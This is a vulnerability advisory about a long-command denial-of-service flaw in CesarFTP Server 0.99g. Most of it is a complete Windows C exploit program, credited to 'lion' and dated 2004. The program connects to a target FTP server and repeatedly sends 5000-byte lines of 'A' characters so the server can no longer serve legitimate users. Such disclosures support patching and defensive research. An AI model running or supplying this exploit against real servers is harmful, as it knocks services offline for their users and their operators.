[NT] CesarFTP Server Long Command DoS

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  CesarFTP Server Long Command DoS
------------------------------------------------------------------------


SUMMARY

 <http://www.aclogic.com/> CesarFTP is "an easy-to-use and fast to 
configure FTP server". A vulnerability in the way the server handles long 
commands allows a remote attacker to cause the product to become unable to 
process legitimate FTP users.

DETAILS

Vulnerable Systems:
 * Cesar FTP Server version 0.99g

Exploit:
/*
*-----------------------------------------------------------------------
*
* cesarftp.c - Cesar FTP Server Long Command DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion@cnhonker.net
* : http://www.cnhonker.com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define BUFFSIZE 204800
#define SIZE 5000

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
   WSADATA wsa;
   unsigned short port;
   unsigned long ip;

   SOCKET s;
   int size = SIZE;

   printf("Cesar FTP Server Long Command DoS Exploit\r\n");
       printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n";);

   if(argc < 3)
   {
       printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
       return;
   }
   
   WSAStartup(MAKEWORD(2,2),&wsa);

   if((s=create_socket())==0)
   {
       printf("[-] ERROR: Create socket failed.\r\n");
       return;
   }
     
   if(!client_connect(s, argv[1], atoi(argv[2])))
       exit(-1);
 
   readbuf("read", s, recvbuf, BUFFSIZE);

   memset(sendbuf, 0, BUFFSIZE);
   memset(sendbuf, 'A', size);

   sendbuf[size-2] ='\r';
   sendbuf[size-1] ='\n';
     
   while(1)
   {
       show=1;
       writebuf("Send Buff", s, sendbuf, size);
       readbuf("read", s, recvbuf, BUFFSIZE);
       Sleep(1000);
   }
    
   if(s)
       closesocket(s);
         
   WSACleanup();
}

int create_socket()
{
   int sockfd;
 
   sockfd=socket(AF_INET,SOCK_STREAM,0);
   if(sockfd<0)
   {
       printf("[-] Create socket error.\r\n");
       return(0);
   }
   
   return(sockfd);
}

int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;

   if((host=gethostbyname(server))==NULL)
   {
       printf("[-] ERROR: gethostbyname(%s) error\n", server);
       return(-1);
   }
   
   memset(&cliaddr, 0, sizeof(struct sockaddr));

   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   printf("[+] Trying %s:%d......", server, port);
   fflush(stdout);

   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct 
sockaddr))<0)
   {
       printf("FAILED!\r\n");
       closesocket(sockfd);
       return(-1);
   }

   printf("OK!\r\n");
   return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
   int j;

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }

   j=send(socket,buffer,len,0);
   if(j<=0)
   {
       printf("FAILED!\r\n");
           exit(-1);
   }
   printf("OK!\r\n");
   return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
   int a,b,i,j=0;
   
   a=b=i=0;
   memset(buffer,0,len);

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }

   j=recv(socket,buffer,len-1,0);
   if(j <= 0)
   {
       if(s) printf("FAILED!\n");
           printf("[-] Recv data error.\n");
       exit(-1);
   }
       
   if(s) printf("OK!\n");

   buffer[len-1]='\0';

   if(show==1) printf("<==\r\n%s<==\r\n",buffer);

   return j;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:lion@cnhonker.net> lion.
The original article can be found at:  
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64> 
http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64



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